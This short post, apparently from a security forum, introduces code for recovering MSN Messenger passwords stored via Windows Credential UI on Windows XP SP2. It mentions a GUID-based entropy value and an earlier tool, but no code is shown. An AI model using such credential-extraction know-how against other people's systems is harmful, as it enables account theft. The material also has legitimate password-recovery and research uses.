MSN Messenger uses Windows Credential UI [credui.dll] on WinXP/2003. Password-Storage mechanism differs in these OSes so, the code posted by tombkeeper [http://xfocus.net/articles/200408/726.html] doesn't seem to work any more on my OS atleast. Also, a 'entropy' value has been thrown, which is based on credui.dll GUID. So, here is the code that fullfils the same purpose - but surely works on my OS [WinXP SP2] :)
